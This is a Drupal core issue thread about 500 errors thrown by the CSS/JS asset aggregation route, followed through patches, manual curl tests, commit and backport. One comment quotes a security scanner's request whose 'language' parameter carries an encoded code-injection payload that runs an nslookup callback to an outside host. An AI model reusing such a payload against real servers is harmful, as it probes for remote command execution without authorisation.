"Only file JavaScript/CSS assets can be optimized" errors in logs

@herved Thanks so much for jumping on this — I’m seeing the same thing in my logs, so really appreciate you taking this on!

RE The mention in the proposed solution

This would also cover #3535330: Assets paths in CSS no longer rewritten when aggregation is enabled which is a consequence of the change in #3414173.

I wonder if it might be helpful to keep the scope of that one in its own issue, just to keep things a bit more focused? I realize they are related (because this JS one is where I copied from in #3414173: Add support for minified external CSS libraries) but painting them with the same brush is what brought us here in the first place.

Thanks, @herved — you might be right here, especially since you probably have a better handle on the internals of ::optimizeGroup() than I do.

If you haven’t already, feel free to take a look at the test in #3535330: Assets paths in CSS no longer rewritten when aggregation is enabled — it might be helpful to reuse or adapt parts of it to confirm whether ::optimizeGroup() is actually called in these cases. Even just running the test on its own could help show the problem is fixed. That kind of check might make the expected behavior a bit clearer.

I’m still a bit cautious about collapsing the two issues, since that overlap is partly what got us into this situation. But if you feel strongly that they belong together, I won’t block it. I do think the targeted fix in #3535330: Assets paths in CSS no longer rewritten when aggregation is enabled should resolve the CSS side of things.

Really appreciate the work you’re doing here — you might end up solving a broader problem in the process! I’m just laser-focused on cleaning up the regression I introduced, and if I expand the scope too much, I’m afraid I’ll cause another one 😬

Hi @herved, I am experiencing the same issue after upgrading site Drupal 10 to Drupal 11.2. Thanks a lot for your great help on it.

@dewancodes Drupal 11.2.3 has #3535330: Assets paths in CSS no longer rewritten when aggregation is enabled in it.

Can you confirm you are using that version? Also could you give more details on the asset causing this issue for you?

Today, we ran into this issue after deploying a Drupal 11.2.5 update, so it’s definitely still a problem.

We experienced this a few moments after deployment and only on very few requests — I would say less than 1 in 1 000.
Also, the reported user agents are mostly bots.
The more time passes after our deployment, the fewer of these errors we receive.

This led us to conclude that it was stale or cached HTML somewhere that was requesting aggregated CSS/JS assets that no longer exist.

These errors also occurred on websites that have no minimum cache time headers, nor any sort of external caching infrastructure in front of them. So we can rule out things like reverse proxies or misconfigured cache headers.

When inspecting the source of the pages that generate these errors, the referenced assets (aggregated file paths) do not exist in the source code at all. So again, we assume these errors are coming from stale or cached HTML pages from before our deployments.

UPDATE: I can also confirm that the applying the diff from #13 to D11.2.5 fixes the issue.

Have run into the same issue with etracker.js from event_tracking contrib module.

What happens is this: etracker.js as defined as preprocess:false, and is not minified. The asset handler correctly groups it into a separate group with preprocess:false setting. But then opimizer checks if it has "minified:true", and since it does not have that flag, force-sends it to optimize(), without checking the preprocess value. Optimize() sees that the asset doe snot have preproccess:true and raises an error.

This seems to be a logical bug in that the optimizer in optimizeGroup() should be checking for the "preprocess" value before sending an asset to optimize(), no? Because its already grouped separately at this point, there is no really a need to fail because of this? Or?

Best, Alexei.

The Needs Review Queue Bot tested this issue. It fails the Drupal core commit checks. Therefore, this issue status is now "Needs work".

This does not mean that the patch necessarily needs to be re-rolled or the MR rebased. Read the Issue Summary, the issue tags and the latest discussion here to determine what needs to be done.

Consult the Drupal Contributor Guide to find step-by-step guides for working with issues.

Left some comments on the MR

thanks.

The Needs Review Queue Bot tested this issue. It no longer applies to Drupal core. Therefore, this issue status is now "Needs work".

This does not mean that the patch necessarily needs to be re-rolled or the MR rebased. Read the Issue Summary, the issue tags and the latest discussion here to determine what needs to be done.

Consult the Drupal Contributor Guide to find step-by-step guides for working with issues.

I tried applying the patch from Merge request !12774 and could not get it to apply to Drupal 11.3.12. It might be because the base branch is 38 commits behind ?

I am hoping this will resolve the whitescreen being thrown when jibberish is thrown at the route. My situation is that Invictiscan is hired to do security testing on a site that I work on. They keep calling out a 500 error when they throw the following request

/sites/default/files/css/css_hI1LTAYe_v1p87OvD6wknDNn2DrcZ5KLa_8Y4J22-jw.css?delta=3&include=eJxtzNEGwDAMBdAfCvmkSuOqkTT0jum-fvY49nw4nmwTF1dVqoeRu3UjxH8gQdoAvziiuoV4LeislRbHDeHmidT3egDyvCfq&language=%24%7bscript%3ajavascript%3ajava.lang.Runtime.getRuntime().exec(%27nslookup%204mkuor3ml4ahf9zqojpae9tlpbmvkvanxtqcmfqo%27%2b%27zcu.r87.me%27)%7d&theme=some_theme

They think they are catching some nefarious exploit path when really all they are finding is a place in drupal core where there is an uncaught exception resulting in a 500 response instead of 400 Bad request.

FYI the newest patch and the one on #13 do not apply on 11.4

Gave this a manual test locally.
With the MR I got the 400

"The requested asset group is not aggregated."

Without the MR I see the 500

"Only file JavaScript assets with preprocessing enabled can be optimized."

and

"Only file CSS assets with preprocessing enabled can be optimized."

I specifically tested preprocess === FALSE by using default_admin/init and default_admin/admin_custom_css but with olivero instead of default_admin

If you want to play along at home: ddev and default_admin theme installed to be discoverable (active theme is olivero):

ddev drush cr
ACTIVE_THEME=$(ddev drush config:get system.theme default --format=string)
ddev exec curl -sS -L --max-redirs 5 \
  -G \
  -w '\nFinal status: %{http_code}\n' \
  --data-urlencode 'scope=header' \
  --data-urlencode 'delta=0' \
  --data-urlencode 'language=en' \
  --data-urlencode "theme=$ACTIVE_THEME" \
  --data-urlencode 'include=eJxLSU1LLM0piU9Myc3M08_MyywBAESNBzE' \
  'http://localhost/sites/default/files/js/js_manual3536795.js'

ddev drush cr
ddev exec curl -sS -L --max-redirs 5 \
  -G \
  -w '\nFinal status: %{http_code}\n' \
  --data-urlencode 'delta=0' \
  --data-urlencode 'language=en' \
  --data-urlencode "theme=$ACTIVE_THEME" \
  --data-urlencode 'include=eJxLSU1LLM0piU9Myc3M0weT8cmlxSX5ufHJxcUAuiEMKA' \
  'http://127.0.0.1/sites/default/files/css/css_manual3536795.css'

Patch rerolled for 11.4.4. Thank you!

The Needs Review Queue Bot tested this issue. It no longer applies to Drupal core. Therefore, this issue status is now "Needs work".

This does not mean that the patch necessarily needs to be re-rolled or the MR rebased. Read the Issue Summary, the issue tags and the latest discussion here to determine what needs to be done.

Consult the Drupal Contributor Guide to find step-by-step guides for working with issues.

Rerolled, it was the lines in \Drupal\FunctionalTests\Asset\AssetOptimizationTest referring to $header_dependency_aggregates that was conflicting.

The fix looks good. There's probably a bit of duplication between the functional test and the new kernel test, but it's not 1-1 and good to have the extra test coverage overall I think.

Committed/pushed to main and 11.x, thanks!

Attached is a rerolled patch for D10.6 if anybody needs it.

Thanks @catch for getting this in and for the patch for D10 @firewaller!

If someone wants to open an MR and backport the patch including tests this is something that could still go into 10.6.

I did a quick check of the inter-ish-diff (see attached)

curl https://git.drupalcode.org/project/drupal/-/commit/10a46a4f4d46f2816edcbc9f6d0e5af1bdefa2ff.diff > 3536795-11.x.patch
curl https://git.drupalcode.org/project/drupal/-/merge_requests/16978.diff > 3536795-10.x.patch


diff 3536795-11.x.patch 3536795-10.x.patch

I hope that cuts the mustard, thanks @longwave for considering this for backport!

Seems like a good backport

Committed and pushed 82cfe78435c to 10.6.x. Thanks for the backport!